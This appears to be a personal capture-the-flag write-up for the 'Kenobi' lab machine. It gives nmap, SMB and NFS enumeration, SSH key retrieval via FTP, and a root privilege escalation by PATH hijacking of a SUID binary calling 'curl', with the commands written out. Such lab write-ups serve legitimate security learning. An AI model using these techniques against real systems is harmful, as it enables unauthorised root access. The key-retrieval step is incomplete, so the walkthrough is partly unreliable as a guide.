Kenobi

export IP='10.10.0.13'
OS: Linux (Ubuntu)

NMAP SCAN:

```
PORT    STATE SERVICE    VERSION
21/tcp  open  ftp        ProFTPD 1.3.5
22/tcp  open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp  open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/admin.html
111/tcp open  rpcbind    2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4     111/tcp  rpcbind
|   100000  2,3,4     111/udp  rpcbind
|   100000  3,4       111/tcp6 rpcbind
|   100000  3,4       111/udp6 rpcbind
|   100003  2,3,4    2049/tcp  nfs
|   100003  2,3,4    2049/tcp6 nfs
|   100003  2,3,4    2049/udp  nfs
|   100003  2,3,4    2049/udp6 nfs
|   100005  1,2,3    42649/tcp  mountd
|   100005  1,2,3    45832/udp  mountd
|   100005  1,2,3    50212/udp6 mountd
|   100005  1,2,3    56529/tcp6 mountd
|   100021  1,3,4    40581/tcp6 nlockmgr
|   100021  1,3,4    42651/tcp  nlockmgr
|   100021  1,3,4    42781/udp6 nlockmgr
|   100021  1,3,4    53727/udp  nlockmgr
|   100227  2,3      2049/tcp  nfs_acl
|   100227  2,3      2049/tcp6 nfs_acl
|   100227  2,3      2049/udp  nfs_acl
|_  100227  2,3      2049/udp6 nfs_acl
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs       2-4 (RPC #100003)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
```

```
|  account_used: guest
|  authentication_level: user
|  challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|  OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|  Computer name: kenobi
|  NetBIOS computer name: KENOBI\x00
|  Domain name: \x00
|  FQDN: kenobi
|_  System time: 2023-12-30T08:21:04-06:00
| smb2-time:
|  date: 2023-12-30T14:21:04
|_  start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: mean: 1h59m59s, deviation: 3h27m51s, median: 0s
| smb2-security-mode:
|  3:1:1:
|_   Message signing enabled but not required
```

PORTS:

21 (FTP)
22 (SSH)
80 (HTTP)
111 ,2049(NFS)
139 ,445 (SAMBA)

ENUMERATION:

139,445 (SMB):

```
Disk                    Permissions             Comment
    ----                -----------             -------
    print$              NO ACCESS       Printer Drivers
    anonymous           READ ONLY
    IPC$                NO ACCESS       IPC Service (kenobi server (Samba, Ubuntu))
```

smbclient \\\\$IP\\anonymous → 'log.txt'

111,2049 (NFS):

showmount -e $IP

```
Export list for 10.10.0.13:
/var *
```

```

```

```
rpcinfo -p $IP
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100005    1   udp  42190  mountd
    100005    1   tcp  42315  mountd
    100005    2   udp  33157  mountd
    100005    2   tcp  43937  mountd
    100005    3   udp  45832  mountd
    100005    3   tcp  42649  mountd
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    2   tcp   2049  nfs_acl
    100227    3   tcp   2049  nfs_acl
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100227    2   udp   2049  nfs_acl
    100227    3   udp   2049  nfs_acl
    100021    1   udp  53727  nlockmgr
    100021    3   udp  53727  nlockmgr
    100021    4   udp  53727  nlockmgr
    100021    1   tcp  42651  nlockmgr
    100021    3   tcp  42651  nlockmgr
    100021    4   tcp  42651  nlockmgr
```

nothing interesting found

---

21 (FTP):

nc $IP 21

get the id_rsa file

---

chmod 600 id_rsa

ssh into it

get the user flag

PRIVILEDGE ESCALLATION:

Go for a SUID look-up: find / -perm -u=s -type f 2>/dev/null

'/usr/bin/menu' → this file looked interesting...

it is a binary file which has a SUID bit

enumerate the binary file strings /usr/bin/menu and we found that this file is not using the entire path of CURL and uname and it is executed by the root user ,so this can be the vector of priviledge escallation.

Abuse it :

First we move to the tmp folder, then copy /bin/sh (shell file) to a new file named curl. Then we give full permissions to curl. Then we export the PATH to the tmp folder.

```
Cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
```

Now when we execute the binary file and use CURL to get the ROOT Shell

then, cat /root/root.txt to get the ROOT FLAG!